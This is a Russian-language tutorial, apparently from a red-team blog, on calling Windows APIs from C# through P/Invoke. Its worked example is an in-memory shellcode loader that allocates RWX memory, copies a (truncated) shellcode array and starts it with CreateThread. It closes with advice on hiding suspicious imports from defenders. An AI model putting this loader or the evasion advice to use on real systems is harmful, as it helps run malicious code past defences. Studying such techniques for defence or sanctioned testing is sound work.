С появлением агрессивных инструментов .NET, особенно C #, мы наблюдаем значительное расширение операционных возможностей, особенно в том, что касается запуска нашего кода в памяти (например, Cobalt Strike's execute-assembly). Хотя C # предоставляет большую функциональность на поверхности, иногда нам нужно использовать функции операционной системы, которые недоступны из управляемого кода. К счастью, .NET предлагает интеграцию с Windows API с помощью технологии, называемой Platform Invoke, или для краткости P / Invoke.

Почему P / Invoke?

Рассмотрим эту распространенную ситуацию: вам нужно выделить память в текущем процессе для копирования в шелл-код, а затем создать новый поток для его выполнения. Поскольку Common Language Runtime (CLR) управляет такими вещами, как выделение памяти, отсюда и термин «управляемый код», это невозможно с помощью встроенных функций .NET.

Чтобы использовать две необходимые нам функции, VirtualAlloc() и CreateThread(), нам нужно иметь возможность вызывать их из «kernel32.dll». Здесь в игру вступает P / Invoke. P / Invoke, или, в частности, пространство имен System.Runtime.InteropServices, предоставляет возможность вызывать внешние библиотеки DLL с атрибутом DllImport. В нашем примере мы можем просто импортировать «kernel32.dll» и ссылаться на внешние методы VirtualAlloc() и CreateThread(), используя ту же сигнатуру, что и неуправляемый (C / C ++).

Маршалинг

Поскольку мы взаимодействуем с неуправляемыми функциями из управляемого кода, нам необходимо иметь возможность автоматически обрабатывать такие вещи, как преобразование типов данных. Проще говоря, именно это и делает для нас маршалинг. На приведенном ниже рисунке показан общий обзор того, как ваш код C # взаимодействует с неуправляемым кодом.

Практический пример этого - преобразование сигнатуры неуправляемой функции в управляемую. Возьмем подпись для VirtualAlloc() из нашего примера выше.

LPVOID VirtualAlloc(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD flAllocationType,
    DWORD flProtect
);

Мы видим, что VirtualAlloc() возвращает указатель на объект void (LPVOID) и принимает LPVOID для параметра lpAddress, целое число без знака (SIZE_T) для dwSize и двойное слово (DWORD) для параметров flAllocationType и flProtect. Поскольку эти типы недопустимы в .NET, нам необходимо их преобразовать. Я создал таблицу типов, с которыми столкнулся, чтобы помочь с преобразованием:

Используя эту таблицу, подпись для VirtualAlloc(), которую нам нужно будет использовать в нашем коде C #, будет следующей:

[DllImport(“kernel32.dll”)]
private static extern IntPtr VirtualAlloc(
    IntPtr lpStartAddr,
    uint size,
    uint flAllocationType,
    uint flProtect);

В некоторых случаях вы можете увидеть перед типом ref или out. Они сообщают компилятору, что данные могут поступать в функцию или выходить из нее. ref указывает оба направления, а out указывает, что данные будут поступать только из функции.

Обработка кодировки символов

Иногда вы можете увидеть дополнительные перечисления в DllImport, например:

[DllImport(“user32.dll”), Charset = CharSet.Unicode, SetLastError = true]

Определение Charset используется для указания кодировки ANSI или Unicode. Чтобы понять, может ли вам потребоваться это указать, примите во внимание вызываемую функцию и обрабатываемые данные. Как правило, функция, которая заканчивается на «A», например MessageBoxA(), обрабатывает текст ANSI, а функция, которая заканчивается на «W», например MessageBoxW(), обрабатывает «широкий» текст или текст Unicode. По умолчанию в C # установлено значение CharSet.Ansi, поэтому, если оставить это поле пустым, будет использоваться кодировка текста ANSI.

Выявление ошибок Win32

Поле SetLastError - это способ управления сообщениями об ошибках API, которые мы иначе пропустили бы из-за (не) маршалинга. Проще говоря, это просто дает нам возможность обрабатывать ошибки во внешней функции с помощью вызова Marshal.GetLastWin32Error(). Рассмотрим следующий код:

if (RemoveDirectory(@”C:\Windows\System32"))
    Console.Writeline(“This won’t work”);
else
    Console.WriteLine(Marshal.GetLastWin32Error());

В этом коде при сбое RemoveDirectory() он распечатывает код ошибки Win32, описывающий сбой. Этот код может быть проанализирован функцией FormatMessage() или through throw new Win32Exception(Marshal.GetLastWin32Error());. Я бы рекомендовал использовать эту функцию в вашем коде, по крайней мере, при тестировании / отладке, чтобы не пропустить важные сообщения об ошибках.

Структуры

Многие из концепций, описанных выше, применимы к структурам. Мы просто конвертируем типы данных Windows в типы данных .NET.
Например, структура ShellExecuteInfo, используемая ShellExecute(), происходит от этого:

typedef struct ShellExecuteInfo {
    DWORD cbSize;
    ULONG fMask;
    HWND hwnd;
    LPCSTR lpVerb;
    LPCSTR lpFile;
    LPCSTR lpParameters;
    LPCSTR lpDirectory;
    int nShow;
    HINSTANCE hInstApp;
    void *lpIDList;
    LPCSTR lpClass;
    HKEY hkeyClass;
    DWORD dwHotKey;
    HANDLE hIcon;
    HANDLE hMonitor;
    HANDLE hProcess;
}

К этому:

public struct ShellExecuteInfo
{
    public int cbSize;
    public uint fMask;
    public IntPtr hwnd;
    [MarshalAs(UnmanagedType.LPTStr)]
    public string lpVerb;
    [MarshalAs(UnmanagedType.LPTStr)]
    public string lpFile;
    [MarshalAs(UnmanagedType.LPTStr)]
    public string lpParameters;
    [MarshalAs(UnmanagedType.LPTStr)]
    public string lpDirectory;
    public int nShow;
    public IntPtr hInstApp;
    public IntPtr lpIDList;
    [MarshalAs(UnmanagedType.LPTStr)]
    public string lpClass;
    public IntPtr hkeyClass;
    public uint dwHotKey;
    public IntPtr hIcon;
    public IntPtr hProcess;
}

Вы заметите строки, содержащие [MarshalAs(UnmanagedType.LPTStr)]. Это связано с тем, что строки, скопированные из управляемого в неуправляемый формат, не копируются обратно при возврате вызова. Эта строка просто дает нам возможность упорядочивать строки, явно указывая, как это сделать.

Перечисления

Счетчики, или перечисления, возможно, вызывают меньше всего головной боли из всех этих разделов. Самый простой способ подумать о перечислениях - это сравнить их со словарями - они сопоставляют что-то с чем-то другим. Вот пример перечисления:

public enum StateEnum
{
    MEM_COMMIT = 0x1000,
    MEM_RESERVE = 0x2000,
    MEM_FREE = 0x10000
}

Затем мы могли бы использовать эти сопоставления в наших функциях. Например:

VirtualAlloc(0, 400 ,(uint)StateEnum.MEM_COMMIT, 0x40);

Что также может быть представлено как:

VirtualAlloc(0, 400 ,0x1000, 0x40);

Практический пример

Вернемся к исходной проблеме - запуску нашего шеллкода. Используя полученные знания, мы можем объединить разделы в рабочее подтверждение концепции.

P / Invoke декларации

Мы начинаем нашу программу с включения необходимого пространства имен.

using System;
using System.Runtime.InteropServices;

Затем мы объявляем наши внешние функции в нашем классе.

[DllImport(“kernel32.dll”)]
private static extern uint VirtualAlloc(
    uint lpStartAddr,
    uint size,
    uint flAllocationType,
    uint flProtect);
[DllImport(“kernel32.dll”)]
private static extern IntPtr CreateThread(
    uint lpThreadAttributes,
    uint dwStackSize,
    uint lpStartAddress,
    IntPtr param,
    uint dwCreationFlags,
    ref uint lpThreadId);
[DllImport(“kernel32.dll”)]
private static extern bool CloseHandle(IntPtr handle);
[DllImport(“kernel32.dll”)]
private static extern uint WaitForSingleObject(
    IntPtr hHandle,
    uint dwMilliseconds);

Не забывайте о перечислениях!

public enum StateEnum
{
    MEM_COMMIT = 0x1000,
    MEM_RESERVE = 0x2000,
    MEM_FREE = 0x10000
}
public enum Protection
{
    PAGE_READONLY = 0x02,
    PAGE_READWRITE = 0x04,
    PAGE_EXECUTE = 0x10,
    PAGE_EXECUTE_READ = 0x20,
    PAGE_EXECUTE_READWRITE = 0x40,
}

Написание метода Main ()

Определив все вспомогательные функции, мы начнем с создания массива байтов, содержащего наш шелл-код в методе Main().

byte[] shellcode = new byte[319] {0xfc,0xe8,…};

Используя VirtualAlloc(), мы выделяем необходимый объем памяти вместе со значениями, определенными в наших перечислениях.

IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, (uint)StateEnum.MEM_COMMIT, (uint)Protection.PAGE_EXECUTE_READWRITE);

Затем мы используем Marshal.Copy(), чтобы скопировать наш шелл-код из управляемой памяти в указатель неуправляемой памяти, который хранится в переменной funcAddr.

Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);

Теперь наш шелл-код записан в исполняемую часть памяти. Последнее, что нужно сделать перед выполнением, - это настроить несколько частей, которые нам понадобятся для самого выполнения.

IntPtr hThread = IntPtr.Zero;
uint threadId = 0;
IntPtr pinfo = IntPtr.Zero;

После этого мы можем создать поток, который будет выполнять нашу полезную нагрузку, установив параметр lpStartAddress на адрес функции нашего шелл-кода.

hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);

Чтобы быть немного более чистым, мы можем использовать WaitForSingleObject() для ожидания завершения потока бесконечное количество времени, заданное 0xFFFFFFFF. Как только он закончится, мы return аннулируем, и программа выйдет.

WaitForSingleObject(hThread, 0xFFFFFFFF);

Я создал Gist на случай, если форматирование вас немного запутает.
https://gist.github.com/matterpreter/b1f8e0e516d20d7d48349ed29e6ffa8d

Заключительные примечания

Хотя в этом примере показан типичный вариант использования P / Invoke, ваше воображение ограничено только в том, что касается других применений. Например, в фиктивном обходе UAC каталога мне пришлось использовать неуправляемую CreateDirectory() функцию для создания C:\Windows \, потому что управляемая функция System.IO.Directory.CreateDirectory не смогла обработать пробел в конце имени каталога. Использование P / Invoke было одним из способов заставить этот метод работать в .NET и особенно распространено для вызовов API Win32, которые используют строки с завершающим нулем, по сравнению с вызовом Native API, которые используют счетные строки Unicode.

Одна из проблем OPSEC, о которых следует помнить при использовании P / Invoke, - это подозрительный импорт. Поскольку импортированные библиотеки DLL представляют собой простой фрагмент данных для сбора защитниками, импорт чего-то странного или неуместного может напугать любого, кто исследует вашу сборку. Один из способов уклонения - динамический вызов неуправляемого кода. Пример этого был недавно добавлен в SharpSploit пользователем @TheRealWover.